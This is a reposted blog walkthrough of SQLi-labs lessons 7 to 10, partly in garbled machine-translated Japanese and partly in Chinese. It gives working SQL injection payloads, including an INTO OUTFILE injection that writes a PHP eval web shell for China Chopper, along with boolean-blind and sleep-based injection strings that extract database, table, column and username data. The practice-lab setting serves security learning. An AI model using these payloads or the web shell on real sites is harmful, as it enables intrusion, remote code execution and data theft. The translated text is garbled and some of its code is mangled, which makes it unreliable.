SQLI-ラボレッスン7-10(ファイルのエクスポート、boolean型ブラインド、遅延噴射)

EDITORIAL:

  私たちの後に動作させるために、データベースのユーザー権限を変更するには、すべての必要性を第一に。

  ここで、\ phpstudy \ PHPTutorial \のMySQL \ my.iniファイル:;まず、「%安全な%」のようなショーの変数とmysqlコマンドラインは、ディスプレイがNULLであれば、あなたがCを開く必要があり、安全なファイル・PRIVの現在の値を表示しますそれを追加します。secure_file_priv = "/"。

  

 

 

   

  

 

 

 

  変更の晩に再起動phpstudy許可

  1.load_file(FILE_NAME)ファイルエクスポート機能:

   LOAD_FILE(FILE_NAME):ファイルを読み込み、文字列としてファイルの内容を返します。

   しかし、それ以外の場合はfalseを返しますが、そこにファイルの読み取り権限を持っている必要がありますし、完全に読み取り可能でなければなりません。(これはまた、上記の修正権限の理由です)

  INTO OUTFILE 'file_name' は2.select .......:

  あなたはファイルに書き込まれた行を選択することができます。同じことは、読んでいる必要があり、書き込み権限ファイルは、この文を実行することができます。

  OUTFILEに選択したバージョン():たとえば、 "C:\\ phpstudy \\ 111.txt" \\こことWindowsで/同様の意味。このステートメントが正常に111.txtファイルを書かれたデータベースのバージョンを入れて実行されます。

  私たちは言葉に内容を注射した場合やトロイの木馬は、セレクます:中国のチョッパーソフトウェアが使用して<PHP @Eval($ _ポストを[ 「美馬」])??>。

  PS:ここで選択した単語の内容は、他の多くのものをアップロードすることができますトロイの木馬をアップロードするために限定されるものではありません。

 

   3.トロイの木馬文:

  <PHPの@Eval($ _ POST [ "カラス"]);?>これは、パスワードのカラスであるPHPのバージョン、です。

  主に中国のチョッパーを使用して文トロイの木馬

 

  話題に:

  ソースコードを見ては、ID「))パッケージ、原則と同様にOKの文の前に構築されました   

  文を実行します。

?ID = 1 '))組合1,2を選択し、' <PHP @Eval($ _ POST [ "MM"]);?>」OUTFILE「Cへ:\\ phpStudy \\ WWW \\ SQLI-ラボマスター\\少ない-7 \\ 111.php」%23
  

 

 

   同じ名前のPHPファイルを生成OUTFILE文にすべての最初のPHPファイルを使用していくつかのポイントは、同じディレクトリに表示されないことに留意すべきです

  トロイの木馬文について:'<?? PHPの@Eval($ _ POST [ 『MM』]);>という言葉が何かを間違っているので、包丁で接続PHPと@Eval、多くの基本的な質問の間にスペースがあることに注意してください?。

 

 

 

  与えられているが、111.phpファイルはコンテンツが登場し、インポートされています。にもかかわらず、

 

  

 

 

   中国のキッチンナイフを接続した後、右の空白追加]を選択し、以下のページを入力します。

  以下の図の形式ではなく、ローカルの絶対パスにシェルパス注意は、背中のミリ対応するパスワード、二文字の括弧内の文です。

  

 

   次のように正常に接続した後です。

  

 

   

 

 

 

 

 

あまり-8:  

    1.ブールブラインド:

   IDまたは使用は「一重引用符のように閉じた構成文を包みました。

   このような使用に先立って(残っていた)、アスキー()+ SUBSTR()ここではそれらを繰り返す、解決策はないと思います。

   以下に、噴射遅れの方法が記載されています。

   2.遅延噴射:スリープ機能と組成があれば反応のページの長さに応じて((ページがすぐにtrueを返す、実行はflase睡眠を()が返されます)を介して)

   (条件A、B)の場合:条件復帰が実行TURE場合、Bそれ以外の場合、実行

   スリープ(A):応答する秒バックを待ちます。

   例えば:?ID = 1「とする場合(長さ(datatbase())= 8,1、睡眠(10))を実行%23

      当数据库长度为8时页面很快出现反应,不为8时会延时10秒返回页面反应。

      同理 执行?id=1' and if(ascii(substr(database(),1,1))>110,1,sleep(10)) %23

      与上面类似,比较费时,个人感觉逻辑上不如利用二分法布尔盲注快。

下面附上部分步骤:
数据库长度为8位

 


猜解数据库名
可以利用and left(database(),1)>'a' 猜解第一位
             and left(database(),2)>'sa' 猜解前2位 
             left(str,num) 截取str字符串前num位(从左往右)
2.判断表名  

 and ascii(substr((select table_name from infomation_schema.tables where tables_schema=database() limit 0,1),1,1))
判断列名1:ascii+substr
     and ascii(substr((select column_name from information_schema.columns where table_name=security.users limit 0,1),1,1))>97 %23

判断列名2:regexp
     and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1) %23

3.1利用ascii和substr破解列中的内容:

  ?id=1' and ascii(substr((select username from security.users limit 0,1),1,1))=68 %23


less 9-10:

  与上面不同,不管如何输入返回都是You are in ....

   所以只能使用延时注入。

  less 9 的id是被 ' 包裹

  less 10 是 "  包裹  注意闭合语句即可 方法就是上面所说的延时注入。

   

  

 

 

 

  

 

おすすめ

転載: www.cnblogs.com/Zh1z3ven/p/12421504.html